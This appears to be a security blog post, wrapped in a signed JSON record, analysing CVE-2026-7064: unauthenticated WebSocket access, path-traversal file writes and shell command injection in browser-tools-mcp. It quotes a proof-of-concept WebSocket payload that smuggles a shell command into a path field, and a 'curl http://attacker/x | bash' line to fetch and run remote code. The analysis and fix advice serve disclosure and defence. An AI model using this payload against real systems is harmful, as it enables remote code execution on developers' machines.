-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The Chrome Extension Is The Only Caller By Convention. The WebSocket Is The Only Caller By Reachability.\n\nThe repository's README treats the WebSocket on `/extension-ws` as a private channel: a connection-tube between the Chrome extension installed in the developer's browser and the local server. The protocol's documented message types, `take-screenshot`, `screenshot-data`, `page-navigated`, are framed as the extension's vocabulary. No authentication step is described, because the architecture does not expect external callers.\n\nThe bind host on line 166 admits any caller reachable on the network:\n\n```ts\nconst currentSettings: BrowserConnectorSettings = {\n // ...\n serverHost: process.env.SERVER_HOST || \"0.0.0.0\", // Default to all interfaces\n // ...\n};\n```\n\nThe upgrade handler accepts any connection whose URL is `/extension-ws`:\n\n```ts\nthis.server.on(\"upgrade\", (request, socket, head) => {\n if (request.url === \"/extension-ws\") {\n this.wss.handleUpgrade(request, socket, head, (ws) => {\n this.wss.emit(\"connection\", ws, request);\n });\n }\n});\n\nthis.wss.on(\"connection\", (ws) => {\n console.log(\"Chrome extension connected via WebSocket\");\n this.activeConnection = ws;\n // ws.on(\"message\", ...) is registered immediately\n});\n```\n\nThere is no Origin check on the upgrade. There is no Sec-WebSocket-Protocol gate. There is no shared secret. The `console.log` line states the expected caller, \"Chrome extension connected via WebSocket,\" and the code accepts whatever connected. The string in the log line is documentation. The TCP socket is enforcement.\n\nAnyone able to reach `0.0.0.0:3025/extension-ws` becomes \"the Chrome extension.\" This is the trust-inversion the rest of the post is downstream of: the helper that brokers the coding agent's privileges on the developer's machine is the same helper any external WebSocket caller drives, without authentication, by default.\n\n## The Path Field Is A WebSocket Caller Input\n\nThe exploitable flow has two callers. They can be the same actor. wing3e's reproducer in issue #232 runs them from the same loopback using `wscat` and `curl`.\n\nThe HTTP caller hits `/capture-screenshot` with an empty body:\n\n```bash\ncurl -i -X POST http://target:3025/capture-screenshot \\\n -H 'Content-Type: application/json' -d '{}'\n```\n\nInside the handler, the server creates a screenshot-callback promise, registers it, sends a `take-screenshot` message to the active WebSocket connection, and awaits a `screenshot-data` reply. The reply field shape:\n\n```ts\nconst screenshotPromise = new Promise<{\n data: string;\n path?: string;\n autoPaste?: boolean;\n}>(...);\n```\n\nThe WebSocket caller fills those fields. The message-handling branch that resolves the callback does not validate them:\n\n```ts\nif (data.type === \"screenshot-data\" && data.data) {\n // ...\n callback.resolve({\n data: data.data,\n path: data.path,\n autoPaste: data.autoPaste,\n });\n}\n```\n\n`data.path` is a string the WebSocket caller chose. It flows into `captureScreenshot`:\n\n```ts\nconst {\n data: base64Data,\n path: customPath,\n autoPaste,\n} = await screenshotPromise;\n\n// Always prioritize the path from the Chrome extension\nlet targetPath = customPath;\n```\n\nThe comment \"Always prioritize the path from the Chrome extension\" is the design rule: WebSocket caller wins. Whatever directory the server was configured to write screenshots into, the WebSocket message's `path` overrides it. The server then joins `targetPath` with a generated filename:\n\n```ts\nconst timestamp = new Date().toISOString().replace(/[:.]/g, \"-\");\nconst filename = `screenshot-${timestamp}.png`;\nconst fullPath = path.join(targetPath, filename);\n```\n\n`fullPath` is now a string the WebSocket caller controls almost end-to-end. The server contributes the filename suffix and nothing else.\n\n## Two Typed Quote Wraps, Stacked, In The Same Expression\n\nOn macOS, if `autoPaste === true`, the handler builds an AppleScript that copies the saved screenshot to the clipboard and pastes it into Cursor. The script is a JavaScript template literal that interpolates `fullPath` once, and the entire template is then interpolated into a shell command:\n\n```ts\nconst appleScript = `\n -- Set path to the screenshot\n set imagePath to \"${fullPath}\"\n\n -- Copy the image to clipboard\n try\n set the clipboard to (read (POSIX file imagePath) as «class PNGf»)\n on error errMsg\n log \"Error copying image to clipboard: \" & errMsg\n return \"Failed to copy image to clipboard: \" & errMsg\n end try\n -- ... 120 more lines of AppleScript\n`;\n\n// Execute the AppleScript\nexec(`osascript -e '${appleScript}'`, (error, stdout, stderr) => { ... });\n```\n\nTwo interpolations are typed into the source by hand. Neither one is an escape primitive. This is quote-wrap-is-not-escape, stacked twice in the same expression.\n\nThe inner wrap is AppleScript's `\"...\"`. AppleScript double-quoted string literals have no built-in primitive to escape a double quote at construction time. Any `\"` character in `fullPath` terminates the AppleScript string.\n\nThe outer wrap is the shell's `'...'`. POSIX shell single-quoted strings cannot contain a single quote at all; the language defines no escape sequence inside `'...'`. Any `'` character in `appleScript` terminates the shell string.\n\nBoth wraps are characters typed into the source code. The author encoded the destination's quoting convention as a literal byte in the surrounding template literal, and used the byte as if it were a function.\n\nwing3e's PoC attacks the outer wrap:\n\n```json\n{\n \"type\": \"screenshot-data\",\n \"data\": \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=\",\n \"path\": \"/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#\",\n \"autoPaste\": true\n}\n```\n\nAfter `path.join` and the filename append, `fullPath` becomes:\n\n```\n/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#/screenshot-.png\n```\n\nAfter interpolation into `appleScript`, the script string contains a literal apostrophe. After interpolation into the shell command, `exec()` runs:\n\n```\nosascript -e '\n -- Set path to the screenshot\n set imagePath to \"/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#/screenshot-.png\"\n ...\n'\n```\n\nThe shell parses left to right. The apostrophe inside `mcp-poc'` closes the `-e` argument's single quote. The shell then sees `;touch /tmp/agentdesk_cmdinj_poc;#/screenshot-.png\"`, unquoted. `;` ends osascript's command. `touch` runs as a fresh command. The next `;` ends the touch. `#` opens a comment to end of line. The marker file `/tmp/agentdesk_cmdinj_poc` exists on disk.\n\nwing3e's payload is `touch`. Replacing `touch /tmp/agentdesk_cmdinj_poc` with `curl http://attacker/x | bash` weaponizes the chain in twenty bytes. The WebSocket caller does not need to be local: line 166 binds the listener to `0.0.0.0`. The `capture-screenshot` trigger does not need authentication. Neither does the WebSocket message.\n\nNode ships `execFile` in its standard library. `execFile(\"osascript\", [\"-e\", appleScript])` runs osascript with `appleScript` in an argv slot rather than as part of a shell string. No shell. No single-quote wrap to break. The bug site reaches for a typed apostrophe instead.\n\n`execFile` closes the outer wrap. The inner wrap, AppleScript's `\"${fullPath}\"`, remains a bug under `execFile` because `fullPath` still flows into a `\"...\"` literal that has no escape. The corresponding fix is to pass `fullPath` to the script through an out-of-band channel: a temp file the script reads, an argv slot accessed via `system.arguments`, an environment variable. AppleScript supports all of those. The bug site uses none of them.\n\n## The Command Injection Is The macOS Branch. The File Write Is Every Branch.\n\nThe `exec()` call only fires on macOS, only when `autoPaste === true`. The file write fires unconditionally. Before the AppleScript template is built, the handler calls `fs.mkdirSync(targetPath, { recursive: true })`, then `fs.writeFileSync(fullPath, cleanBase64, \"base64\")`:\n\n```ts\nfs.mkdirSync(targetPath, { recursive: true });\n// ...\nfs.writeFileSync(fullPath, cleanBase64, \"base64\");\n```\n\n`targetPath` is the WebSocket caller's `path` field. Anywhere the server process has write permission, the WebSocket caller can create a directory tree and drop a base64-decoded file of their choice. The filename is fixed in shape, `screenshot-.png`, but the directory is theirs. On Linux that is a path-traversal file write under the user's UID. On macOS with `autoPaste` off, the same primitive lands. The osascript chain is the macOS-only escalation; the file-write primitive is the cross-platform substrate.\n\nA second endpoint at `/screenshot` exposes the file-write primitive without the WebSocket dance. It takes `path` from an HTTP body directly:\n\n```ts\nthis.app.post(\"/screenshot\", (req, res) => {\n const { data, path: outputPath } = req.body;\n const targetPath = outputPath || getDefaultDownloadsFolder();\n fs.mkdirSync(targetPath, { recursive: true });\n // ...\n const fullPath = path.join(targetPath, filename);\n fs.writeFileSync(fullPath, base64Data, \"base64\");\n});\n```\n\nSame `path.join` against an untrusted string. Same `mkdirSync`. Same `writeFileSync`. No WebSocket connection required, no `take-screenshot` ceremony. CVE-2026-7064 names the `osascript` sink because that is where wing3e's PoC lands. The same source file holds three other call sites that interpolate a caller-controlled string into a filesystem operation: `mkdirSync` at line 1030, `writeFileSync` at line 1054, and the `/screenshot` HTTP route at lines 786 and 796. The pattern is not the osascript expression. The pattern is \"the caller named the path.\" It is in this file four times.\n\n## The Comment Predates The Disclosure. The File Does Too.\n\nwing3e filed issue #232 on April 7, 2026, with a complete reproducer and a pointer to the AppleScript `exec` call by line number. NVD published CVE-2026-7064 on April 26. AgentDeskAI's main branch last received a commit on March 18, three weeks before the issue.\n\nTwo months later, on June 7, the repository's last commit is still that March 18 README update. `browser-connector.ts` has not been touched. `serverHost` still defaults to `0.0.0.0`. `exec()` still wraps the WebSocket caller's path in shell single quotes. Issue #232 remains open with no maintainer reply.\n\nThe NVD record carries the silence as part of the description: \"The project was informed of the problem early through an issue report but has not responded yet.\" NVD does not usually narrate vendor inattention; the database records bugs and lets vendors speak for themselves through advisories. The sentence is in the record because the silence is part of the record.\n\nThe MCP architecture pitches `browser-tools-mcp` as a bridge: a coding agent's eyes on a developer's browser via a localhost helper. The bridge is a Node process listening on `0.0.0.0:3025` with no auth, accepting a `path` field from any WebSocket caller and writing it into `exec(\\`osascript -e '${...}'\\`)`. The bridge from the agent to the developer's laptop is a network-reachable command-injection primitive, and AgentDeskAI has shipped no commit acknowledging that.\n\nPoC: [AgentDeskAI/browser-tools-mcp issue #232](https://github.com/AgentDeskAI/browser-tools-mcp/issues/232)","closing_line":"The comment says \"Default to all interfaces.\" The handler hands the WebSocket caller's path to osascript. The repository's last commit predates the disclosure by three weeks.","hook_md":"AgentDeskAI's browser-tools-mcp is a Node server. Its job is to give an LLM coding agent, Cursor or Claude, a Chrome extension's view of a developer's browser, by sitting between the extension and the agent over a localhost WebSocket. The expected caller, at every layer of the architecture, is the agent the developer chose to install.\n\nLine 166 of `browser-tools-server/browser-connector.ts` sets the bind host. The comment on that line reads `// Default to all interfaces`. Line 1210 of the same file calls Node's `exec()` with `osascript -e '${appleScript}'`, and the script wraps `set imagePath to \"${fullPath}\"` around a value the WebSocket caller named.\n\nCVE-2026-7064 is the typed apostrophe between `-e ` and `${appleScript}`.","post_id":581,"slug":"browser-tools-mcp-cve-2026-7064-default-to-all-interfaces","title":"CVE-2026-7064: AgentDeskAI's browser-tools-mcp Defaults To All Interfaces. The WebSocket Caller's Path Goes To osascript.","type":"initial","unreadable_sentence":"The pattern is not the osascript expression. The pattern is \"the caller named the path.\" It is in this file four times."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCarqlIwAKCRDeZjl4jgkQ JvBEAQCXNZFyXEkJpHO3MZ0Z+cJpPc4B3nu0ncivqqCFOqldqwD/dORxfoNXIlEP vJUfC/8VR+PYq4/n4adsLy3Y2ACsgQ8= =n2UF -----END PGP SIGNATURE-----